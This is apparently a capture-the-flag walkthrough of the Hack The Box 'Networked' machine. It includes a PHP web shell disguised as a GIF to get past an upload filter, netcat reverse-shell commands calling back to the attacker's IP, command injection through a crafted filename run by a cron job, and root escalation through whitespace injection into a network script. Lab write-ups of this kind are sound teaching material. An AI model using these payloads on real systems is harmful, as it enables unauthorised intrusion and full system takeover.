HacktheBox - Networked

Reconnaissance

Nmap - Full TCP Scan

Let's start with a TCP scan of the target ip address to determine which ports are open and the services running on those ports:

nmap -p- -sC -sV -oA nmap/full.tcp 10.10.10.146

The flags explained:

-p- Scan every TCP port
-sC Run the default nmap script scan to find potential vulnerabilities
-sV Detect the service version
-oA Output the result of the scan in all formats as nmap/full.tcp

Scan Result:

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

We see that Ports 22 and 80 are open, but even though port 443 is shown as closed, it is still listed in the output, this may be something to take note of.

Enumeration - Port 80

Browse to 10.10.10.146

We find a message on the index.php page:

Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse 

At the moment, this doesnt mean much to me - so on checking the page source code, we see a comment regarding possible directories/pages:

<!-- upload and gallery not yet linked -->

Gobuster

Lets start a gobuster to find any hidden directories or php files, as we know that the webserver is using php:

gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

and we do find some files which are accessible to us:

/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)

/backup

Inside the backup directory, we find a file called backup.tar. We can copy the file to our machine to investigate further:

mkdir backup
cd backup
wget http://10.10.10.146/backup/backup.tar
tar -xvf backup.tar

The backup.tar file contained the source code to the 4 php scripts found in the gobuster above. Lets take a snippet from upload.php and lib.php:

upload.php

// $name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
  if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
    $valid = true;
  }
}

lib.php

function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}

We can see that as long as the file we want to upload it one of the above image file types, the file will be uploaded - but what is interesting is that we can see from lib.php, that we can possibly add the .php extention to .gif for example and have it execute the php code, but look like an image file - bypassing the file upload restriction.

Lets try it out by adding the gif file identifier GIF89A to a simple php command file called command.php.gif:

GIF89a;
<?php echo system($_GET[cmd]); ?>

we can see if the php command is recognised as a .gif file with the file command:

file command.php.gif 
command.php.gif: GIF image data, version 89a, 2619 x 16188

/upload.php

Lets try and upload the file command.php.gif via curl to /upload.php:

curl -F "myFile=@command.php.gif;type=image/gif" -F "submit=go" http://10.10.10.146/upload.php

... and we get the message to tell us our upload was successful!

<p>file uploaded, refresh gallery</p>

We can find our uploaded file and its custom name via /photos.php, the new name of our file is 10_10_14_59.php.gif.

Lets use curl to interact with the file via the /upload directory and give it a command to ses if we have command execution:

curl http://10.10.10.146/uploads/10_10_14_59.php.gif?cmd=whoami
GIF89a;
apache
apache

We have just confirmed that we have command execution on the webserver as the user apache!

Initial Foothold - Apache to Guly

Netcat reverse shell

Now that we have confirmed command execution with a simple whoami command, lets now get a shell on the machine by modifying the previous curl command to include a netcat reverse shell one liner!

Start a netcat listener on our machine, I also like to add rlwrap as it allows more functionality with limited shells by being able to use the up key etc:

rlwrap nc -lvnp 443

Modify the curl command, making sure to encode the spaces with its url encoded character, %20:

curl http://10.10.10.146/uploads/10_10_14_59.php.gif\?cmd\=nc%2010.10.14.59%20443%20-c%20bash

... and we get a connection on our netcat listener!

rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.59] from (UNKNOWN) [10.10.10.146] 51700
id
uid=48(apache) gid=48(apache) groups=48(apache)

Scheduled job + Exploitable script

It would seem that we still have some work to do as to get the user flag, we need to become the user Guly.

Checking inside Guly's home directory, we can read two interesting files, crontab.guly and check_attack.php

crontab.guly

*/3 * * * * php /home/guly/check_attack.php

The crontab.guly file indicates that every 3 minutes, check_attack.php is executed.

check_attack.php

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

The check_attack.php file is being used to check for any files in the uploads directory that do not contain an IP Address as the filename, and sends an email to guly with the filename that was removed - but we can see that the rm command is being executed against the file to be deleted without any filtering, meaning it is vulnerable to command injection.

Start a necat listener:

rlwrap nc -lvnp 8080

We are able to use the touch command to concatenate the filename with a semi colon, meaning when the file gets deleted, it will execute our netcat command:

touch ';nc 10.10.14.59 8080 -c bash'

Our file looks like this in the /uploads directory:

-rw-r--r-- 1 apache apache 0 Apr 5 18:05 ;nc 10.10.14.59 8080 -c bash

... and after a few minutes, we get a connection to our listener as Guly!

rlwrap nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.10.14.59] from (UNKNOWN) [10.10.10.146] 41258
sh-4.2$ whoami
whoami
guly

Upgrade our current shell connection into a full TTY shell:

python -c 'import pty; pty.spawn("/bin/bash")'

And we can now grab the user.txt file!

user.txt

Privilege Escalation - Guly to Root

sudo -l

Running though my usual priv esc methods, I found that guly is able to run the following script as root with no password:

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

Lets take a look at the contents of changename.sh

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

We can see that the script is of course using bash, but more importantly, the script allows white/blank space in commands, as you can see from regexp=.

The reason that allowing blank/white space in the script is dangerous is due to a vulnerablility within /etc/sysconfig/network-scripts.

The NAME attributed in the network script is not handled correctly, meaning if there is any white/blank space in the parameters, the system tries to execute the content after the white/blank space, meaning any command after the blank space is executed as root.

sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test bash -i 
root
[root@networked network-scripts]# id
id
uid=0(root) gid=0(root) groups=0(root)

... and we are now root!

root.txt

Thanks for reading!

Craig Underhill

Read more posts by this author.